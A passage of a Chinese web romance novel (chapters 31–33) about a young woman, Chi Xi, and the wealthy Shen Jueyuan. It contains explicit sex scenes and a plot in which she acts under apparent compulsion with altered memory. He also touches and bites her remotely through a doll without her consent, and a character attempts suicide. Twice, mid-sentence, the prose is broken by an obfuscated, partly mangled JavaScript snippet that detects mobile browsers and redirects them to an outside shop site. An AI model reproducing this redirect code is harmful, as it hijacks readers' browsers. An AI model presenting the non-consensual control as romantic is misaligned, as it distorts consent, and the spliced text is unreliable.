哪怕让他舍下自己的傲慢,沦为一个三流货色,又有何不可。 男人从沙发上坐起身,伟岸的身躯像一座山般。 池溪甚至看不见他身后有什么,她的目光所及只有他宽厚的肩,健壮的手臂,黑色的袖箍仍旧牢牢固定在他的大臂上,宣示着他从未破损的优雅。 池溪呆呆地看着他。 脑子里不断闪过自己曾经看过的那些漫画。 她仿佛明白了接下来要发生什么。 这很难不明白,他身上分泌的信息素和雄性荷尔蒙浓郁到都要将她迷晕了。 他漱口之后,将旁边早就准备好的热水喝完,又取了两块冰和跳跳糖含进嘴里。 然后抓提她的脚踝,将她的双脚放在自己肩上。 池溪的注意力早就被其他地方给吸引住了,根本就没注意到他这个‘餐’前准备。 她看着对方的上衣被脱掉,露出没有见过市面的震惊。 脱口而出一句本该是内心独白的感慨:“哇,柰子好大。好想用它磨13。” 31.第三十一章 池溪不清楚自己今天怎么了,有种不受控的感觉,什么都往外说。 沈决远没有回答她,他嘴里含着的冰块将他的左腮顶出一道弧度。 她知道自己这是被拒绝了。这很正常,沈决远怎么可能让自己成为别人的vibrator。 想到这里,池溪失望地抿了抿唇,小声说:“不行的话就算了,我...” 她伸手整理好裙摆,准备起身离开。 沈决远眉头微皱地躺下,能看出他对这种做法有所不满,但又因为某些原因还是妥协了。 他伸手扶着她的腰:“自己坐上来。” 池溪很少有这种低头看他的机会,她提着裙摆,站在他的胸口处。 男人的目光自然地落在某个地方。 她还很年轻,胶原蛋白饱满,无论是她的脸颊还是下巴,那种丰盈的柔软感让人想要咬上一口。 就连她的唇肉也是丰满的,中间那条几乎看不见的唇缝,让人想要深入进去一探究竟。 池溪没有注意到他的视线,她看上去既大胆又腼腆。沈决远清楚她为什么会这样,所以并不意外。 他只是动作从容地扶着她的腰:“我会将婚期延后,等你毕业之后再说。” 她的体重全都落在他的胸口,沈决远已经感受到了温热的湿意。他喉结动了动,扶着她腰身的手不由自主地加大了些力气,“你的想法是什么?” 池溪抱着自己的裙摆,腰一直在抖, “都都都...都可以。” □*□ 剩余在外的手指则不轻不重地抚摸起柔软的唇。 他的视线向下,手指从她唇中抽出,双指分开,银丝拉长又断开。 他轻轻感叹:“明明这么小,却又这么贪婪,什么都可以吞下。” - 佣人等在外面,负责应对不时之需。沈先生说过,如果五点他还没出来,就让她把箱子里面的东西送进去。直接放在客厅就行。 她看准时间,五点准时推门进去。 这里是vip厅中的私人休息室,其他人无法进入。外面主要分为会客室和书房,还有单独的茶水间和吧台。继续往里走,是观景阳台和独立浴室。 而沈决远与池溪此刻所处的地方,位于正中间的卧室。房门忘了关,但也不用担心被人看见。 佣人非常有职业素养,她将手中的箱子匆匆放下就打算离开。 但即使再小心谨慎,余光仍旧无法避免地瞥见一点。 被一个巨大的明代落地花瓶挡住,只能看见那双悬空的脚,白皙柔软,脚踝莹白,小腿纤细匀称。此时在空中荡来荡去,看着分外无助可怜。 身后则是穿着黑色西裤的长腿,独属于男性的肌肉感。相比起来,女人的身形显得尤为可怜,她仿佛是一只任人摆布的娃娃。 地上的羊绒地毯早就湿透了,皮鞋踩上去,有明显的沁水感。 女人甚至弯下了腰,那双手求饶一般地抓住了他的皮鞋。 “等一等....等一下...”哭到脱力的声音分不清是痛苦还是其他。 无法听清男人的声音。 或是男性的声线本就更加低沉,经过层层过滤早就所剩无几。 □*□ 她的声音突然变得惊恐起来,“那种地方怎么可以...” “好舒服....呜呜呜我受不了了,嗯啊..我想去厕所,我感觉我要....” 佣人加快脚步离开,将门关上。 门关上的瞬间,女人的声音变得高亢,一边哭声粘稠地说不要,一边又让他继续。 池溪双手抓着他的手臂,用力到指甲都快陷进他的肉里了。手指用力地往下抓,一道道清晰的血痕出现在他遒劲的手臂上。 □*□ 一切的起源来自一个小时前,池溪像是突然想起什么,在沈决远的身上坐了一会儿之后突然起身去拿手机:“我今天要回去的,我想起来明天还要去相亲,舅婆说.....” 池溪甚至没机会将这句话说完,整个人就被掀翻在床。 直到很长一段时间之后,她再次回想这一幕,才察觉自己的胆子究竟有多大。 她觉得自己正独自飘荡在大海深处,滔天的巨浪将她不断地往海里推,又再次推出来。 她想,她被海浪玩弄了,否则为什么会一直产生这种濒死感,却怎么也死不了。一会儿在地狱,一会儿又身处天堂。 到了后面,她自己都觉得自己发出的声音非常难听,像野外被捉到的猎物,胃部被捕猎者顶到的那种难耐嘶哑的吼叫,带着一种含糊的干呕。 恍惚间,她无法正常回拢的眼睛看到了头顶天花板,繁琐的雕花,反光处可以清晰地看见男人的肩背,像蛰伏的野兽,遒劲结实的背阔肌,随着他此刻的动作像一座座起伏的山脉,每一寸流畅锋利的线条都带着强悍的力量感。 很难想象,平时优雅高贵的西装下,掩盖着这样一副充满压迫感与性张力的身材。 而此时,克制在肌肉中的力量,源源不断地传达给了另一个人。 ——那个纤细娇小的可怜女生。 池溪甚至无法从天花板的反光处看见她自己,男人宽厚的肩背将她遮的密不透风,只有散开的长发像一副油画。 她两手合抱住他结实的大臂,求饶一般地用脸去蹭他的手臂,她甚至没有力气开口求饶了。那张脸可怜巴巴地湿透了,分不清哪里是泪水哪里是口水。 不知道过了多久,池溪整个人像是刚从水里捞出一般。 她从来没有过这么狼狈的时候,她不希望被沈决远看到自己这副样子。想要抬手挡住自己这张一塌糊涂的脸,可是她连抬手的力气都没有了。 “刚刚....”她开口,嗓子是有气无力的沙哑,“是不是有人进来过?” 沈决远将她抱在怀里,拿来湿巾为她轻轻擦拭:“嗯。” 现在的他褪去了刚才凶猛的一面,又恢复到往日里的从容优雅。 他似乎已经忘了她说要回去相亲的事情,池溪也识趣地不敢再提。 得到确定的回答后,她的身体抖了抖:“那她...都听到了?” “不用担心,就算听到了也没事。”她的这张嘴也被含吮到红肿不堪,他的舌不知道进过多少次。过于激烈的深吻以至于现在都无法闭合。两片唇瓣更是麻木到没有知觉。他按着她的膝靠近她,将手指探入她的唇中,仔细地抚摸,然后收回,手指分离,粘稠的津液被拉开,断裂。 她发现沈决远的胸口也是一片半干的湿意,甚至还有点红肿。明白这是怎么一回事的池溪瞬间就红了脸。 她伸手去戳他的胸口,戳了几下发现根本戳不动:“好硬,像石头一样。” 那里的肌肉变得更加紧实,线条轮廓也更锋利,甚至还能看见凸起的青筋,有着性感的色气。 听出了她的话里淡淡的嫌弃,沈决远不动声色地握住她的手:“一会就软了。” “疼吗?”他低头问她。 池溪摇头,她已经感觉不到疼不疼了。 沈决远将她抱在怀里aftercare,低头亲了亲她:“那就休息一会。” 池溪在此刻体会到了独属于年长者的那份成熟体贴与温和关怀。 池溪无法控制地依赖他信任他:“我们今天...回去吗?” “在这里休息一天。”他的指腹替她按摩发酸的肩背,力道强中带柔,刚刚好。池溪第一次体会到那种按摩爽头发发麻的感觉,“你也不想一个人待在那个冷清的家里。” 他没有用反问的句式,而是语气平缓地叙述出来。池溪的心脏微动,突然有点想哭。 舅婆他们虽然偶尔会来家里陪她,但晚上都会各自回到自己的家中休息。 池溪一个人住在充满幼年回忆的房子里。不是都说故地重游就是刻舟求剑。她总是会回忆起她的小时候。 会想起妈妈。 “我不想...”她的声音低迷下去,“我会想起很多让人怀念,和让人难过的事情,我好想我的妈妈,我不知道该怎么办,住在那个家里我没办法不去想她。” 沈决远安抚着她不稳定的情绪:“为什么要遏制思念。想念一个人是没有错的。如果实在难过,就靠在我的怀里哭一会儿。” 她不知道自己为什么突然很想哭,不是因为太想妈妈而哭,是因为沈决远。她今天格外诚实,主要体现在她不再逃避自己的内心。 十八岁对沈决远一见钟情,偷偷暗恋他两年,最后因为他的傲慢和冷淡决定放弃喜欢他。 可是现在又为什么要对她这么好。他明明最抗拒她的触碰,厌恶她身上的味道。 池溪没有说话,沈决远直接将她抱进自己怀中。 “睡吧。”他轻轻抚摸她的后背。 池溪想,他好像也逐渐忘了本,不仅不再厌恶她的触碰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152642|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而总是主动去碰她。 池溪靠在男人结实柔软的怀抱中,无比依赖地将脸埋进去,她的眼泪顺着他胸肌的轮廓往下流:“可是我还没洗澡。” 他语气温和:“如果困了就先休息,其他的不用担心。” 池溪早就累到筋疲力尽,几乎是埋进他怀里的瞬间意识就开始模糊,仿佛他的胸肌上涂了超强安眠药。 他所带给她的安全感让她心安。 手握权力兼具可怕野心,却会耐心哄她睡觉。 池溪睡了一个无比安稳的觉,连梦都没有做。 她是在次日下午醒的,被舅妈的电话吵醒。 掀开盖在身上的克什米尔羊绒被,伸手去找手机。 她后知后觉地才意识到自己身上的衣服换成了柔软的真丝睡衣,身体也被清洗干净,对方显然很细心,没有遗漏任何一个地方。 池溪看见未接来电有十几条,舅妈更是直接发信息问她是不是出什么事情了。她这才想起自己今天和相亲对象约好了碰面,现在早就超过了约定时间。 当她打算回信息时,突然一个激灵反应过来。 那些诡异的念头一个系接着一个冒出。 她为什么要来见沈决远?又为什么突然变得这么胆大,无论什么话都往外说。 当她回忆起自己说过的那些话时,痛苦地倒在床上疯狂打滚。 爱看黄色漫画?想在他的胸肌上磨13?天呐,她眼前一黑,整个世界都在天旋地转。唯一想要的变成了无痛猝死,最好下一秒就死。 比起清醒面对这一切,池溪选择了最窝囊的一种方式。 自己昨天究竟怎么了,被鬼上身了吗。 没有一件事符合她的性格逻辑。那些话就算是对她动用酷刑她也不可能会说出来。 而且她是第一次,她的第一次就这么随随便便给了出去。 池溪眼眶微微泛红。 虽然是她自愿,但.... 她头疼得厉害,不愿继续想下去,既然死不了那就只能先离开这里。 她刚生出离开的念头,门外就传来脚步声。 沉稳厚重。池溪几乎是立刻就听出这道声音是属于谁的。 昨天发生的事情历历在目,她没有勇气面对沈决远。 慌乱之下竟然开始往床下钻,只可惜人还没钻进去,卧室的房门就打开了。 沈决远刚送走客人,知道她肯定醒了,所以让厨房准备了些清淡的餐点送过来。 此刻看到她撅着屁股趴在地上,头伸进床底,不知道在做什么。 西装革履的男人走过去,语气温和地询问:“东西掉进去了吗?” 她一回头,首先看到的就是停在自己身边的男士皮鞋,还是红底,骚气得很。 她紧张地抓着掌心按着的地毯,居然还有心思想别的。 看来昨晚结束之后,这里被重新打扫过。地毯显然是新换的。 池溪慢吞吞地从床底爬出来,站直身体:“呃....刚刚手机好像掉进去了,所以我....那个找了一下。”她心虚的眼神左右闪躲。 无论是看地板还是看角落里的落地灯,就是不肯看站在自己面前的沈决远。 男人看了一眼放在床上的手机,心中基本明了。 “先去吃饭吧,吃完我送你回去。”他的手伸过来,刚要抚上她的后背。 被池溪紧张兮兮地躲开:“不....不用。” 昨晚的亲昵和此刻的疏远,如此强烈的落差让沈决远再次将目光放回她的脸上。眼神了然。 “你从昨晚到现在什么也没吃。”他将外套脱了,随手放在沙发上,又抬手松了松领带,“随便吃点吧,不然容易胃疼。” 相比他的优雅从容,池溪显得无比局促。 他今天的领带也是暗红色,与黑色的西装马甲搭配在一起,像一杯醇厚典雅的酒。 池溪眼神带着恐惧,她昨晚好像口出过很多狂言。 仔细回想一遍,以沈决远这个冷面阎王的傲慢和绝情程度,池溪认为他肯定会报复回来。 之所以现在没做,或许是怕脏了他的房间。 池溪咽了咽口水,双手都快将袖子给攥破。 伸手不打笑脸人,脑子里突然冒出这句话。 于是她恐惧地冲沈决远露出一个僵硬的露齿笑:“嘿嘿,嘿嘿(?′?`?)” 只要一直笑,就一直不会被打。 32.第三十二章 那天回去之后,池溪花费很长时间才让自己暂时摆脱那份尴尬。 她不知道是自己变了,还是沈决远变了。她总觉得自己的人生好像是某个被删档的游戏。并且不是从头删到尾,而是部分删除。 只是她无论如何都想不起来。 借住在沈家的那段时间,池溪每天早上都会和沈决远礼貌问好。即使对方总是平淡地点头示意。 态度疏离冷淡。 还有她电脑的壁纸,也是他的照片。 这是她隐晦又胆小的暗恋。 不过她对于这份暗恋并不存在太深刻的执念。所以只要离开他的身边,看不到他张让人着迷的脸,时间长了总会忘记他。 但是最近总能闻到那股只属于沈决远的香味,这成为她忘掉他的最大绊脚石。 她甚至怀疑这股味道是故意出现,为了让她无时无刻想起他。 为什么她会这么想?因为她自己也曾经这么做过。 脑海里突然有一道声音自问自答地解答了她的疑惑。 池溪微微愣住,她曾经做过什么? 她不记得了。 当她与沈决远的聊天界面往上翻。 时间回望到一个月前,聊天界面基本都是她自言自语的独角戏。 ——沈董,策划案我已经放在您的办公桌上了。去的时候没有看到您。 ?^?????? ——我给您买了一杯咖啡。 咖啡是池溪偷偷观察他很久,知道他经常让助理点那家的美式。 一百多一杯的纯美式,对于他来说不值一提。池溪却心疼了好久才舍得点。 虽然后来看到那杯咖啡出现在了他的助理手中。 他并没有喝。 ——决远哥哥,伯父让您今天送我去公司,可以吗。(*^_^*) 随后很快又补上一句:——不可以也没关系的,我可以打车去。 最后当然没有坐上他的车,不仅没坐上,这几条消息长期都处于未读状态。 聊天记录不断往上翻,就像是一本纠结漫长、畏惧夹杂暗恋的少女心事。 池溪放下手机,打算看一会儿书转移注意力。继续看下去的话,只会让她心疼那段时间的自己。 她觉得对他的感情更多是源于缺失父爱的向往。 在她的童年,通过各种电视和小说拼凑出一个伟岸父亲的形象。 甚至一度因为好胜心作祟,在同龄人骂她是没有父亲的孤儿时,她大声反驳。 当时她口中描述的父亲形象,被所有同学耻笑。 他们说她电视剧看多了,世界上根本不存在这样的人,就算真的存在,那也和她无关。 “还住国外的大庄园?如果你父亲真的这么有钱,为什么会让你穿不合身的裙子,住在那种破房子里?”他们大声的嘲笑她。 池溪涨红了眼睛:“外婆说他很快就会回来接我了。” 池溪想,其实上帝是宠爱她的。否则为什么会实现她在幼年时期精心撒下的弥天大谎。 十八岁时,她在寿诞上第一次见到受万人敬仰的沈决远,那个谎言仿佛得到闭环。 他来接她了。 池溪的手机震动几下,是沈决远发来的信息。 一张对镜自拍。 毛衣被拉开,露出块垒分明的腹肌与强悍有力的前锯肌,像鲨鱼的牙齿一样锋利。 毛衣刚刚拉过胸口,能清晰地看见胸肌饱满的轮廓,上面甚至还有她留下的指痕。 不仅没有随着时间变浅,反而更深了。 宽松的灰色长裤更显轮廓。 肉眼看着都格外惊人。 通过这张照片,池溪总算知道了自己一直好奇的问题。 他放在左边。 她抿了抿唇,呼吸都有些停了,过了好久才问他:发错了? 打字的手都有些抖。 “没发错。” 他说,“前天在床上答应过你,每周给你发一张。” 经他提醒之后,池溪脸上一燥,全都想了起来。那天她抱着他的腰,贪婪地问他:“你以后每周都给我发一张你的照片可以吗?不穿上衣的那种。虽然我也想让你连裤子也不穿,但这种照片应该会被屏蔽。” 沈决远没有直接拒绝,而是淡声反问:“要我的照片做什么?” 她眼神认真:“紫薇。” 池溪觉得自己都快脱敏了,她唯一的念头就是世界末日赶紧来。她心累地躺在床上,默默按了保存。 舅婆来家里做客时,专门和她说了那天的事情。问她为什么没去赴约,是不满意他的条件吗。 “那孩子虽然是中专毕业,但靠自己的努力开了一家汽修厂,一年能赚十几万。而且小伙长得不错。” 池溪知道舅婆是为了她好,这个条件在他们这个小地方是抢手货。 可池溪觉得自己目前很难对其他男人动心,而且她马上就要去北欧了。 虽然是在自己神志不清的时候答应的,但对池溪来说,这是一个非常好的机会。 就像漫画里说的那样,有的时候...如果一个男人愿意成为你的踏板,那么踩着他往上走也没什么不好的。 她也想去看看更辽阔的世界。 她和舅婆道歉:“我那天不是故意不去的..是因为有事,我睡过头了。” 舅婆当然知道她不是故意的:“如果你实在不想相亲,舅婆会帮你去回绝。但你要和舅婆说实话,你和那天的沈先生,究竟是什么关系?” 虽然池溪一再否认答应了他的求婚,但舅婆能够看出,双方是有情的。 池溪自己也不清楚。她总觉得自己脑子里多出了一团雾,有什么东西被那团雾给遮住了。 她没有立刻否认,而是抿了抿唇,突然拿起乔来:“我也不清楚...但他好像正在追求我。” 一旁看电视的舅妈听到这话立刻站起来:“你是说,那位开豪车的沈先生正在追求你?” 家里人好像总是担心她会嫁不出去。虽然舅婆她们嘴上不说,但池溪心里清楚,他们回去之后或许会讨论自己。 说她去了一趟大城市眼光就变高了,普通的看不上。但人得先看自己的条件,她没有母亲,父亲有也等于无,给她介绍的这几个都是普通人里的天花板了。 配她更是绰绰有余,她这样挑来拣去,最后只会竹篮打水。 如果她此刻顺水推舟将沈决远推出去,就不用担心任何人说闲话了。反正沈决远应该会乐意的,她觉得他现在对自己很好。 不仅不再忽视她的感受,也没有表现出厌恶与傲慢。甚至多她多出了许多包容与温和。 池溪甚至觉得,或许是老天爷听到了她的生日祷告。 果不其然,舅婆不再提起之前那几个她认为条件很好的男生。 毕竟和这位沈先生比起来,哪怕是市里首富,也显得暗淡平凡。 舅妈告诉她:“那你可得抓紧点,把他拿下才是正事。这种男人身边急着上位的非常多,万一哪天有人偷偷往他酒里倒椿药,一夜风流后怀上他的孩子,那你可就没机会了。” 她看的那些短剧里都是这么演的。 池溪沉吟片刻,让舅妈放心:“没人能往他的酒里倒椿药。” 他身边那些训练有素的保镖暂且不论,以沈决远谨慎的性格,一旦离开他视线超过三秒的酒他不会再碰。 而且,据池溪所知,这样的事情他碰到很多次。 参加完一场舞会,西装口袋会多出无数张房卡,甚至还有染上唇印自荐的名片。 那些人自以为小心翼翼,趁他不注意时放入,其实他早就察觉。 只是有些东西一一阻止过于麻烦。 所以他参加晚会的高定西装礼服基本都是一次性的,晚宴结束之后就会脱下扔掉。 池溪想,他肯定早就不是处男了。说不定他在挪威已经当了爸爸。 因为他明显不是第一次。 那天晚上,他熟练到连触碰哪个地方最让她有感觉都知道,甚至不需要提前试探。 舌头也很灵活,无论是吸舔缠裹。 想到这里她更加委屈,她是第一次。 她有处男情节,她才不想要被人使用过的烂黄瓜。 因此当沈决远的消息再次发过来时,她选择了直接屏蔽。 沈决远每天早上都会给她发信息。 二人的角色似乎调换了。 沈决远:今天感觉怎么样,消肿了吗?我在你的背包里放了药膏,洗完澡之后记得涂抹在红肿处。 沈决远:我回挪威了,这次需要在这边多待几天。 沈决远:为什么不回消息。小河,我以前每次回挪威,你都会问我什么时候回来。 沈决远:我以为你会和我想你一样想我。 池溪抱着手机坐在门口,前两条消息相差几分钟,第三条是在十五分钟后发送过来的。 池溪心脏猛地一颤,险些连手机都拿不稳。 这种感觉很奇怪,隔着无法得知情绪的文字,大脑可以擅自脑补出这句话原本的意思。 语气放轻一些,会更像撒娇。语气再沉一些,则像质问。 若是带些叹息,是难过吗。 池溪想不明白哪一层意思更加贴切,但似乎只有质问最贴切。 大洋彼岸的挪威,落雪的窗外甚至可以看见大片极光,在冷蓝夜色之中有一种万籁俱寂的梦幻荒凉。 半开的厚重窗帘,是和墙壁相同的雾灰。 男人坐在沙发上,身上只穿了一件墨蓝色睡袍,腰带松松垮垮,胸口微敞,甚至可以看见中间那道深邃的缝隙。 胸口处的抓痕没有变淡,是因为他每天洗澡时反复用热水冲洗,让毛细血管继续扩张。 刚洗过澡,身上那股熏香味淡了许多,取而代之的是浴盐的苦涩。 没开灯的房间,只剩极光绿色的柔光。桌上喝了一半的红酒同样也被覆盖在这层淡淡绿光之中。 安静的手机被放在一旁,他拿着手中的娃娃,轻轻去戳她的脸。 仿佛能感受到她的体温,她的气息。 不理人的坏孩子,明明只要像前天那样诚实,就能够获得一切她想要的东西。 他甚至可以替她将她那个不负责的父亲送进监狱。她母亲的墓地也可以一直留着。 那块地被他买了下来,他知道那里埋葬着她的母亲和她的外祖母外祖父。 她太弱小了,连自己都保护不了,更别说保护家人。 但沈决远认为这不是她的错。 她因为自己的弱小已经遭受了很多苦难,所以没有人再有资格用这点去指责她。 不过,不回消息是她的错。 没礼貌的坏孩子,不知道他连安眠药都没吃,就为了等待她的回复。 他拿起娃娃,认为有必要因为这种事情好好惩罚她。 池溪正在和舅妈讲话,突然一阵钝痛从她的脸上传来,她疼到轻呼一声,伸手捂着自己的脸。 舅妈连忙拉开她的手问她怎么了,然后吓了一跳:“怎么有个牙印。” 池溪自己也吓了一跳,急忙跑进洗手间去照镜子,那里的确多出了一个不深不浅的牙印。 而且看大小,显然是属于男人的牙印。比起恐怖,更多的居然是暧昧旖旎。 因为这更像是动情时咬下的。 舅妈早就察觉到不对了,刚才小河脱外套时她就在她的后颈看到了可疑的红痕,但她当时只认为是自己看错了。毕竟小河私生活简单,连个异性朋友都没有。 可这个牙印明显是男人的。 一直到舅妈离开,那种异样感仍旧没有消失。总觉得自己身上很痒,好像有什么正在触摸她。 或许是衣服不干净,有螨虫。 她从衣柜中取出睡衣走进浴室。这个浴缸是沈决远上次让人换的。 恒温调控,她可以一直躺在里面。 无论池溪怎么洗,那种似有若无的触碰感始终存在。 甚至连胸前也.... 她咬着牙,沉在浴缸底部的双腿交缠在一起。 脸已经红透了,呼吸逐渐变重,手抓紧了浴缸边缘,仿佛有什么东西即将出来。 □*□ 只剩她茫然地坐躺在浴缸中,迷离的眼神甚至还没重新聚光。 巨大的失落在她心里蔓延开来。 她不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160103|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己这是怎么了,明明应该害怕,但为什么会期待继续.... 她在那个瞬间脑海里闪过的全是沈决远的脸。 □*□ 他甚至温柔地替她绑好头发,温热有力的手指放在她的脊骨,一节一节地往上数。 他可以很轻松地单手抱着她,让他盘腿挂在自己的腰上,他可以在进行的同时,抱着她走进观影室。 将遥控器放到她的手中,让她随便挑选一部。 “你想看哪一部?” 池溪看到那些影片的名字后瞬间愣住了。 “我...” 见到她这副受到惊吓的样子,沈决远亲吻她的耳垂:“是教授和学生的,还是医生和病患的?我记得你好像更喜欢神父。” 沈决远认为她对自己不熟悉的身份存在一些光环滤镜。他告诉她:“现实中的神父只是一个普通职业而已。” 所以她在漫画中看到的那些圣洁禁欲的神父,是不存在的。 她好像格外钟情这个职业,她的论坛收藏贴里几乎有几十部男主是神父的漫画。 他甚至还特意翻了翻,和他同职业的男主寥寥无几。 那个晚上池溪一边被沈决远抱着,压在沙发上,一边听完了整部影片。到了后面她甚至觉得,影片女主的声音甚至没有她的歇斯底里。 她觉得,她和沈决远的体型是不匹配的,这种不匹配导致她从他身上获得的一切感受和体验都是极端的。 极端的胀,极端的爽。 回忆起这些,池溪重新缩进浴缸之中。 她突然好想...沈决远。整个浴室里也充斥着他的香味。 该死的大奶男。她在心里咒骂他,害人不浅。 一定是那天留下的后遗症。 最近早上醒来,她的裤子甚至都是氵显的。 沈决远不在国内的这段日子,几乎每天都会固定时间给她发消息。 他不需要通过这种方式来查岗,他想查她的岗太简单了。她在他这里几乎没有秘密可言。但他还是认为应该尊重她的隐私。 他显然已经跟不上这个年龄段孩子的思维了。 ——或许相差六岁的代沟的确比他想象中要大。更何况他比同龄人成熟,而池溪,又过于晚熟。 这就导致他们之间的心理年龄差距相差甚至不止十岁。 沈决远:姜姨说最近给你送去的饭菜你吃得不多,是不合胃口还是最近没胃口? 姜姨是沈决远安排给池溪送饭的阿姨,他单独在她的老家买了一栋祖宅,安排了厨师每天做饭,再让人送去。 在沈家的时候沈决远就注意到了,她不按时吃饭的坏毛病。 的确像池溪想的那样,沈决远是个细心敏锐的人,他可以观察到周围的任何事情。 但他始终都以居高临下的傲慢姿态置身事外。 他很早就发现沈司桥半夜出去飙车,和朋友飞去国外赌博,甚至还因为与人起了口头矛盾,找人砸了对方的酒吧。 他并没有出手管教。 他的管教欲没有强到对任何人都奏效。 池溪最近总是熬夜,她的游戏账号在线时长甚至超过了她住在沈家的时候。 他不想通过服务器的暂时关闭,来强制她去休息。 不从根源上解决这个坏习惯,就算直接收购这个游戏也起不到任何作用。 管孩子比管理企业更难。 几十万员工的集团,他可以十分轻松地管理。 但一个二十三岁的孩子他却毫无办法。至少现在,他找不到更好的办法。 沈决远不得不加快归国的步伐。 当然,不仅是因为担心她紊乱的作息。 他很想她。比自己预想中的还要想。 私人医生说他的状态其实比几年前更差,对情绪的感知力也变得更低。 - 之前因为工作和学习的双重高压,导致池溪连电脑都没有打开。 这段时间一切尘埃落定后,她报复性般地玩起游戏。 好友说她很有游戏天赋,比起做个普通的上班族她其实更加适合去当个游戏陪玩或者代练。 技术好声音甜,长得还漂亮,做这行非常吃香。 池溪有点心动,毕竟时薪比她找的任何一份兼职都要高。 如果确定去北欧留学,说不定还能靠这份工作赚点学费。 和朋友说完再见后,那位秦阿姨刚好带着饭菜过来。 用精致的保温木盒装着,她揭开盖子,将里面的饭菜一一端出,都是她爱吃的。 “每日菜谱都是沈先生亲自准备的。”姜阿姨苦口婆心劝她多吃点,“你兄长知道你挑食的毛病,所以特地让厨房按照你的口味加了辣。” 看来她是误会自己和沈决远的关系了。 池溪没有纠正,毕竟长辈亲自发话了,她也不好拒绝。 其实不是饭菜不合胃口,她不吃是因为不想继续和沈决远有太深的牵扯。 她总觉得他就像是一个深不见底的洞穴。 一旦失足掉进去,这辈子都不会再有出来的机会。 和死亡一样,一次失误都不能有。 池溪喝着汤,视线却全程都停在那部安静的手机上。 她在等待沈决远发来的信息。 这几乎成为了她最近的日常。虽然她一条都没有回复,可每次收到他的信息,她都会强制暂停游戏,然后慢慢阅读。 虽然不清楚他为什么会突然发生改变,但这种感觉就像是她与沈决远之间角色互换了。 他成为了主动给她发信息的人。 这次她没有等来沈决远的信息,反而先等到沈司桥自杀未遂的消息。 据说他被发现在洗手间内试图吞枪自杀,并且在此之前他已经服下了一整瓶安眠药,经过洗胃之后脱离了生命危险。 沈伯母在电话中哭着拜托她:“司桥一直在梦里叫你的名字,你可以来见见他吗?” 池溪早就因为自杀未遂这四个字吓愣住了。 就在她点头同意之前,手机弹出一条信息。 ——池溪。 没有温度的两个字,像询问,像提醒,又像警告。 33.第三十三章 池溪最后还是去了。 她本意是去看一看沈司桥的热闹。好吧,她的善良其实是分人的。 她将自己为数不多人性恶毒的部分给了沈司桥。 至于沈决远的信息.... 虽然只有简单的两个字,但她感到一种前所未有的沉重压迫感。 她第一次觉得自己的名字这么可怕。 大巴转高铁,高铁又转公交,兜兜转转花了一整天的时间来才回到沈家。 明明只离开了一个月,却有种恍若隔世的感觉。 这里充斥着许多回忆,但大多都是一些不好的。 她以为沈司桥是假装自杀,毕竟这种事情他也不是做不出来。 可当她看到躺在床上,身体虚弱的沈二少时,还是难免愣住。 郑伯母的眼睛红了,这么久没见到儿子,好不容易见到,却是在病床上。 赶回来看热闹的池溪也很难没有感触。 靠,真自杀啊。那叫她回来做什么,难不成想让她殉葬? 池溪走过去安慰郑伯母,对于病床上那个真正需要安抚的不闻不问:“伯母,您别太担心,不会有事的。” 郑伯母泪眼婆娑地抱着池溪的胳膊:“小溪,你帮阿姨去和决远求个情,别再把司桥送回法国了。” 池溪面露难色,一边忙着安抚郑伯母的情绪,一边又无能为力。她认为郑伯母太看得起自己。 沈决远怎么可能会听她的话。 池溪人是中午到的,沈决远则只比她晚了几小时。 难以想象他是如何以这么快的速度从挪威赶回来。 郑娴不敢去见自己这个城府深手段狠的继子,便将池溪推了出去。 池溪感觉这个家的气氛变得诡异起来。以前最起码维持着明面上的祥和,不过这片祥和也是因为沈决远的向下兼容才得以维持。 事实上,他其实一直大度地包容着一切。 池溪不合时宜地想到一句成语,有容乃大。 呃...她真的没救了。 “你怎么...这么快就回来了,我以为你会在那边..多待一段时间。” 她不敢看男人的眼睛,说话时视线是向下的,只敢盯着他的皮鞋。擦拭的很干净,哪怕此时有人趴在他脚边用舌头替他舔鞋,恐怕也没有半粒灰尘。 池溪不知道自己为什么会突然想到这个。 但他此刻给人的感觉就是这样,磅礴的气场与上位者的威严丝毫不加以遮掩。哪怕他所表现出来的是一如既往的优雅温和。 他走到池溪身边,替她重新整理好身上的着装。衣领有点歪,肩上有褶皱。 他替她理正衣领,抚平褶皱,虽然气场仍旧强大到可怕,但他的语气算得上温和:“司桥怎么样。” 离近时,他高大身躯所带来的压迫感更加强烈,池溪甚至都开始理解沈司桥为什么要采用这种极端的方式回国了。 换了自己,她也找不出比自杀更好的方法:“他挺好的,” 他从她的话中得出关键信息:“你已经见过他了?” 池溪点头:“嗯...见过了。” 沈决远笑了笑,并未多说。 郑娴最后还是鼓足勇气亲自来找了沈决远,她想..想求沈决远将池溪让给司桥。 她原先担心司桥与池溪在一起,百般提防着。因为她的出身不好。而且这孩子漂亮是漂亮,性格也好。但她和其他自小接受精英教育长大的千金贵女们不同。 她连股票都不会看,如何成为一个协助司桥的贤内助? 郑娴唯一没想到的是,司桥动情如此之深,就连梦里都在叫她的名字。 池溪觉得这人肯定是在梦里使唤人,所以才会一直叫她的名字。 她刚住进沈家时,他就常这样使唤她。 池溪想和郑伯母解释她和沈司桥的关系,根本就不是她想的这样。 或许沈司桥是喜欢她的,但他最爱的一定是自己。 自杀也是为了从法国回来。如果不这么做,他现在还被关在法国的学校。 